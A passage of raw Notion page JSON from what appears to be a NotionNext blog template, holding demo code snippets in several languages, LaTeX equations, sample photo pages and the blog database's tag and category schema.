System.out.println(\"useTime:\"+useTime);\n}"]],"language":[["Java"]]},"format":{"code_wrap":true,"copied_from_pointer":{"id":"c1d99d5c-8f92-4ca2-8ca6-ac18f231f1a4","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991047,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705638991047,"parent_id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","parent_table":"block","alive":true,"copied_from":"c1d99d5c-8f92-4ca2-8ca6-ac18f231f1a4"}},"063756cd-6ec1-4081-85e3-4b92832a9cb4":{"value":{"id":"063756cd-6ec1-4081-85e3-4b92832a9cb4","type":"code","properties":{"title":[["#!/usr/bin/python3\nimport json\n \n# Python 字典类型转换为 JSON 对象\ndata = {\n 'no' : 1,\n 'name' : 'hello',\n 'url' : 'http://tangly1024.com'\n}\n \njson_str = json.dumps(data)\nprint (\"Python 原始数据:\", repr(data))\nprint (\"JSON 对象:\", json_str)"]],"language":[["Python"]]},"format":{"code_wrap":false,"copied_from_pointer":{"id":"cfbb8514-5746-4091-b999-2866e4571a26","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991047,"last_edited_time":1705638991047,"parent_id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","parent_table":"block","alive":true,"copied_from":"cfbb8514-5746-4091-b999-2866e4571a26"}},"cb1f9529-7659-4836-902b-9d15084eaa0a":{"value":{"id":"cb1f9529-7659-4836-902b-9d15084eaa0a","type":"code","properties":{"title":[["# R 语言\n#file.edit(path.expand(file.path(\"~\", \".Renviron\")))\nlibrary(telegram.bot)\nlibrary(stringr)\n# Initiate the bot session using the token from the enviroment variable.\nbot = Bot(token = bot_token('your_bot'))\nusr_list <- c(12344566, 12345566)"]],"language":[["R"]]},"format":{"code_wrap":true,"copied_from_pointer":{"id":"36cb1cb7-d73c-4b90-82d3-dbb573207652","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991046,"last_edited_time":1705638991046,"parent_id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","parent_table":"block","alive":true,"copied_from":"36cb1cb7-d73c-4b90-82d3-dbb573207652"}},"c7f0ee45-718e-4229-9f2f-b7c2fc7ad580":{"value":{"id":"c7f0ee45-718e-4229-9f2f-b7c2fc7ad580","type":"code","properties":{"title":[["html {\n\tbackground-color: red;\n}"]],"language":[["CSS"]]},"format":{"code_wrap":false,"copied_from_pointer":{"id":"a8e425a6-ce5b-40dc-ab17-580a83415d55","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991047,"last_edited_time":1705638991047,"parent_id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","parent_table":"block","alive":true,"copied_from":"a8e425a6-ce5b-40dc-ab17-580a83415d55"}},"88676695-452c-49cb-9d9c-0711d2f1f4be":{"value":{"id":"88676695-452c-49cb-9d9c-0711d2f1f4be","type":"code","properties":{"title":[["#include \nusing namespace std;\n \n// main() 是程序开始执行的地方\n \nint main()\n{\n cout << \"Hello World\"; // 输出 Hello World\n return 0;\n}"]],"language":[["cpp"]]},"format":{"code_wrap":false,"copied_from_pointer":{"id":"37cfbb5c-1b8e-4394-b6fe-a644a0ffc13b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991046,"last_edited_time":1705638991046,"parent_id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","parent_table":"block","alive":true,"copied_from":"37cfbb5c-1b8e-4394-b6fe-a644a0ffc13b"}},"025fccd3-0e3c-4be1-85bb-1880edddeb65":{"value":{"id":"025fccd3-0e3c-4be1-85bb-1880edddeb65","type":"code","properties":{"title":[["using System;\nnamespace HelloWorldApplication\n{\n class HelloWorld\n {\n static void Main(string[] args)\n {\n Console.WriteLine(\"Hello World\");\n Console.ReadKey();\n }\n }\n}"]],"language":[["csharp"]]},"format":{"code_wrap":false,"copied_from_pointer":{"id":"45b73aab-c9a1-4354-8b75-3e46b625dc1b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991047,"last_edited_time":1705638991047,"parent_id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","parent_table":"block","alive":true,"copied_from":"45b73aab-c9a1-4354-8b75-3e46b625dc1b"}},"4d19c930-9e8b-4fc5-b273-19717fe62e33":{"value":{"id":"4d19c930-9e8b-4fc5-b273-19717fe62e33","type":"code","properties":{"title":[[".section __TEXT,__text,regular,pure_instructions\n.macosx_version_min 10, 13\n.globl _add_a_b\n.p2align 4, 0x90\n_add_a_b: ## @add_a_b\n.cfi_startproc\n## BB#0:\npushq %rbp\nLcfi0:\n.cfi_def_cfa_offset 16\nLcfi1:\n.cfi_offset %rbp, -16\nmovq %rsp, %rbp\nLcfi2:\n.cfi_def_cfa_register %rbp\nmovl %edi, -4(%rbp)\nmovl %esi, -8(%rbp)\nmovl -4(%rbp), %esi\naddl -8(%rbp), %esi\nmovl %esi, %eax\npopq %rbp\nretq\n.cfi_endproc\n\n.globl _main\n.p2align 4, 0x90\n_main: ## @main\n.cfi_startproc\n## BB#0:\npushq %rbp\nLcfi3:\n.cfi_def_cfa_offset 16\nLcfi4:\n.cfi_offset %rbp, -16\nmovq %rsp, %rbp\nLcfi5:\n.cfi_def_cfa_register %rbp\nsubq $16, %rsp\nmovl $1, %edi\nmovl $2, %esi\nmovl $0, -4(%rbp)\ncallq _add_a_b\naddq $16, %rsp\npopq %rbp\nretq\n.cfi_endproc"]],"language":[["asm6502"]]},"format":{"code_wrap":true,"copied_from_pointer":{"id":"e2716bef-d213-4a69-8fb1-6ffaba898dc8","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991048,"last_edited_time":1705638991048,"parent_id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","parent_table":"block","alive":true,"copied_from":"e2716bef-d213-4a69-8fb1-6ffaba898dc8"}},"583d808b-a380-4da7-a547-23a10d3fa5c8":{"value":{"id":"583d808b-a380-4da7-a547-23a10d3fa5c8","type":"equation","properties":{"title":[["\\begin{aligned}\nAACD \\Rightarrow AAAD &= \\frac 1 3\\\\ \nAACD \\Rightarrow AACD &= \\frac 1 3 + \\frac 1 6 = \\frac 1 2 \\\\ \nAACD \\Rightarrow AACC &= \\frac 1 6 \\end{aligned}"]]},"format":{"copied_from_pointer":{"id":"32375efe-705a-4363-9a7f-a5ec0c55ed18","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991051,"last_edited_time":1705638991051,"parent_id":"a625f064-b0f6-4744-b6b9-e40aaf12ffa9","parent_table":"block","alive":true,"copied_from":"32375efe-705a-4363-9a7f-a5ec0c55ed18"}},"7e94f6c0-5ab6-4778-9277-992fd5664f01":{"value":{"id":"7e94f6c0-5ab6-4778-9277-992fd5664f01","type":"equation","properties":{"title":[["\\begin{bmatrix}\n\t\tc_{0}&c_{n-1}&c_{n-2}&\\cdots &c_{1}\\\\\n\t\tc_{1}&c_{0}&c_{n-1} & \\cdots &c_{2}\\\\\n\t\tc_{2}&c_{1}&c_{0}&\\cdots &c_3 \\\\\n\t\t\\vdots &\\vdots& \\vdots&\\ddots &\\vdots \\\\\n\t\tc_{n-1}&c_{n-2}&c_{n-3}&\\dots &c_{0}\n\\end{bmatrix}"]]},"format":{"copied_from_pointer":{"id":"c9c7ad1d-e52e-4331-9152-f8adb04baa33","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991051,"last_edited_time":1705638991051,"parent_id":"a625f064-b0f6-4744-b6b9-e40aaf12ffa9","parent_table":"block","alive":true,"copied_from":"c9c7ad1d-e52e-4331-9152-f8adb04baa33"}},"52d5a916-ab83-448a-9f42-1a7ef92b2e19":{"value":{"id":"52d5a916-ab83-448a-9f42-1a7ef92b2e19","type":"equation","properties":{"title":[["\\begin{aligned} \\sin 2\\theta & = 2\\sin \\theta \\cos \\theta \\\\ & = \\cfrac{2 \\tan \\theta}{1+\\tan^2 \\theta} \\end{aligned}"]]},"format":{"copied_from_pointer":{"id":"1b202589-6640-472f-9f2d-3992d5e4d45a","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991051,"last_edited_time":1705638991051,"parent_id":"a625f064-b0f6-4744-b6b9-e40aaf12ffa9","parent_table":"block","alive":true,"copied_from":"1b202589-6640-472f-9f2d-3992d5e4d45a"}},"68c4d878-bb42-4e06-baa5-635a4f804e97":{"value":{"id":"68c4d878-bb42-4e06-baa5-635a4f804e97","type":"text","format":{"copied_from_pointer":{"id":"e6f9b186-7a60-4e8a-8136-15cc230bdced","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991052,"last_edited_time":1705638991052,"parent_id":"a625f064-b0f6-4744-b6b9-e40aaf12ffa9","parent_table":"block","alive":true,"copied_from":"e6f9b186-7a60-4e8a-8136-15cc230bdced"}},"408dee57-e78b-4bff-b11d-dae0ffb56756":{"value":{"id":"408dee57-e78b-4bff-b11d-dae0ffb56756","type":"equation","properties":{"title":[["AACD\\Rightarrow \\left\\{\\begin{matrix}\n第1次取值 & 第2次取值 & 概率 & 最终状态\\\\\nA & C,D &= \\frac 1 2 \\times \\frac 2 3= \\frac 1 3 &\\Rightarrow AAAD \\\\ \nA & A &= \\frac 1 2 \\times \\frac 1 3= \\frac 1 6 &\\Rightarrow AACD \\\\ \nC,D & A &= 2 \\times \\frac 1 4 \\times \\frac 2 3= \\frac 1 3 &\\Rightarrow CCAD \\\\ \nC,D & C,D &= 2 \\times \\frac 1 4 \\times \\frac 1 3= \\frac 1 6 &\\Rightarrow CCAA\n\\end{matrix}\\right. "]]},"format":{"copied_from_pointer":{"id":"85681cf1-4c8b-4ceb-8752-d17c32acf930","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991051,"last_edited_time":1705638991051,"parent_id":"a625f064-b0f6-4744-b6b9-e40aaf12ffa9","parent_table":"block","alive":true,"copied_from":"85681cf1-4c8b-4ceb-8752-d17c32acf930"}},"02efa7b3-d1ce-40f7-9a23-f687b0046e4d":{"value":{"id":"02efa7b3-d1ce-40f7-9a23-f687b0046e4d","type":"toggle","properties":{"title":[["点击展开"]]},"content":["43b0eea5-af0c-4e07-a769-c247b1a00029"],"format":{"copied_from_pointer":{"id":"81a4b6d2-5997-4e4d-b0ae-fe1516bf00c1","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991052,"last_edited_time":1705638991052,"parent_id":"4748bbad-6dc8-4e84-ab43-96c076df3dd2","parent_table":"block","alive":true,"copied_from":"81a4b6d2-5997-4e4d-b0ae-fe1516bf00c1"}},"43b0eea5-af0c-4e07-a769-c247b1a00029":{"value":{"id":"43b0eea5-af0c-4e07-a769-c247b1a00029","type":"toggle","properties":{"title":[["点击展开"]]},"content":["a0318786-f5d2-4a58-8ccc-9d56bbe6b155"],"format":{"copied_from_pointer":{"id":"bbaeea0d-972a-42c1-a49f-3ab97ccb3903","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991055,"last_edited_time":1705638991055,"parent_id":"02efa7b3-d1ce-40f7-9a23-f687b0046e4d","parent_table":"block","alive":true,"copied_from":"bbaeea0d-972a-42c1-a49f-3ab97ccb3903"}},"a0318786-f5d2-4a58-8ccc-9d56bbe6b155":{"value":{"id":"a0318786-f5d2-4a58-8ccc-9d56bbe6b155","type":"text","properties":{"title":[["内容可以多级嵌套"]]},"format":{"copied_from_pointer":{"id":"d4b91a6a-beae-488c-816a-b9f504b739fc","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991057,"last_edited_time":1705638991057,"parent_id":"43b0eea5-af0c-4e07-a769-c247b1a00029","parent_table":"block","alive":true,"copied_from":"d4b91a6a-beae-488c-816a-b9f504b739fc"}},"02f024a6-0fd0-4a05-b201-762f56287c1d":{"value":{"id":"02f024a6-0fd0-4a05-b201-762f56287c1d","type":"page","properties":{"YNJw":[["查看",[["a","https://preview.tangly1024.com/fc758ffac897479d9a7161cce3272520"]]]],"title":[["照片标题1"]]},"content":["797d2ded-5b17-45a2-a474-8a121fa12a3d"],"format":{"page_cover":"/images/page-cover/met_emanuel_leutze.jpg","copied_from_pointer":{"id":"fc758ffa-c897-479d-9a71-61cce3272520","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"page_cover_position":0.7},"created_time":1705638991056,"last_edited_time":1705638991056,"parent_id":"7b11173d-8924-4a09-8897-50956378c0fc","parent_table":"collection","alive":true,"copied_from":"fc758ffa-c897-479d-9a71-61cce3272520"}},"c7f423be-6c39-4b76-a750-e7d7d92161fd":{"value":{"id":"c7f423be-6c39-4b76-a750-e7d7d92161fd","type":"page","properties":{"YNJw":[["https://tangly1024.com/",[["a","https://tangly1024.com/"]]]],"title":[["照片标题2"]]},"content":["198479d6-383d-4532-b0df-9c41bfaf66d8"],"format":{"page_cover":"/images/page-cover/woodcuts_5.jpg","copied_from_pointer":{"id":"77e3d7d4-bd0f-41dd-9aaf-3f0b99f2e04d","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"page_cover_position":0},"created_time":1705638991056,"last_edited_time":1705638991056,"parent_id":"7b11173d-8924-4a09-8897-50956378c0fc","parent_table":"collection","alive":true,"copied_from":"77e3d7d4-bd0f-41dd-9aaf-3f0b99f2e04d"}},"797d2ded-5b17-45a2-a474-8a121fa12a3d":{"value":{"id":"797d2ded-5b17-45a2-a474-8a121fa12a3d","type":"text","properties":{"title":[["这是照片内容详情"]]},"format":{"copied_from_pointer":{"id":"ceaa6aaa-d200-4100-a0a7-d23ae49b2eef","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991057,"last_edited_time":1705638991057,"parent_id":"02f024a6-0fd0-4a05-b201-762f56287c1d","parent_table":"block","alive":true,"copied_from":"ceaa6aaa-d200-4100-a0a7-d23ae49b2eef"}},"198479d6-383d-4532-b0df-9c41bfaf66d8":{"value":{"id":"198479d6-383d-4532-b0df-9c41bfaf66d8","type":"text","properties":{"title":[["这是照片详情的内容"]]},"format":{"copied_from_pointer":{"id":"ebff1c93-27e9-445d-876f-3967f072ec15","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991057,"last_edited_time":1705638991057,"parent_id":"c7f423be-6c39-4b76-a750-e7d7d92161fd","parent_table":"block","alive":true,"copied_from":"ebff1c93-27e9-445d-876f-3967f072ec15"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":22,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]},{"id":"c466d345-55bf-4155-a77e-fcd58819a455","color":"brown","value":"准备","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","color":"green","value":"万里长征","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","color":"gray","value":"运维","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","color":"orange","value":"linux","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","color":"orange","value":"脚本","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","color":"yellow","value":"面试","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","color":"gray","value":"go","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft","collectionIds":["3c6ddc29-47df-43f6-a375-de1c3a9cf466"]}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1","fbea6284-6910-456b-9292-c62e080c9f59"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"7b11173d-8924-4a09-8897-50956378c0fc":{"value":{"id":"7b11173d-8924-4a09-8897-50956378c0fc","version":1,"name":[["照片集"]],"schema":{"YNJw":{"name":"URL","type":"text"},"title":{"name":"Name","type":"title"}},"format":{"copied_from_pointer":{"id":"4aa08af5-4f04-45fa-ac44-84438e088ba8","table":"collection","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"collection_page_properties":[{"visible":true,"property":"YNJw"}]},"parent_id":"43181d65-d467-4bd5-a8cb-6942161eabd5","parent_table":"block","alive":true,"copied_from":"4aa08af5-4f04-45fa-ac44-84438e088ba8","migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"4379bc14-5d22-453b-a153-12639616fc01":{"value":{"id":"4379bc14-5d22-453b-a153-12639616fc01","version":689,"name":[["Notion 博客"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post","collectionIds":["4379bc14-5d22-453b-a153-12639616fc01"]},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page","collectionIds":["4379bc14-5d22-453b-a153-12639616fc01"]},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice","collectionIds":["4379bc14-5d22-453b-a153-12639616fc01"]},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu","collectionIds":["4379bc14-5d22-453b-a153-12639616fc01"]},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu","collectionIds":["4379bc14-5d22-453b-a153-12639616fc01"]},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"Config","collectionIds":["4379bc14-5d22-453b-a153-12639616fc01"]}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一","collectionIds":["4379bc14-5d22-453b-a153-12639616fc01"]},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享","collectionIds":["4379bc14-5d22-453b-a153-12639616fc01"]},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔","collectionIds":["4379bc14-5d22-453b-a153-12639616fc01"]}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐","collectionIds":["4379bc14-5d22-453b-a153-12639616fc01"]},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字","collectionIds":["4379bc14-5d22-453b-a153-12639616fc01"]},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考","collectionIds":["4379bc14-5d22-453b-a153-12639616fc01"]},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻","collectionIds":["4379bc14-5d22-453b-a153-12639616fc01"]},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具","collectionIds":["4379bc14-5d22-453b-a153-12639616fc01"]},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发","collectionIds":["4379bc14-5d22-453b-a153-12639616fc01"]},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站","collectionIds":["4379bc14-5d22-453b-a153-12639616fc01"]},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱","collectionIds":["4379bc14-5d22-453b-a153-12639616fc01"]},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康","collectionIds":["4379bc14-5d22-453b-a153-12639616fc01"]}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published","collectionIds":["4379bc14-5d22-453b-a153-12639616fc01"]},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible","collectionIds":["4379bc14-5d22-453b-a153-12639616fc01"]},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft","collectionIds":["4379bc14-5d22-453b-a153-12639616fc01"]}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/6c096b44-beb9-48ee-8f92-1efdde47f3a3/29db38d2-d5fa-4fa6-8a92-3b527cfe80d1/favicon.svg","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"8e7acf17-de09-4fa1-abde-b5b80ad4a813","table":"collection","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"06f53161-8c9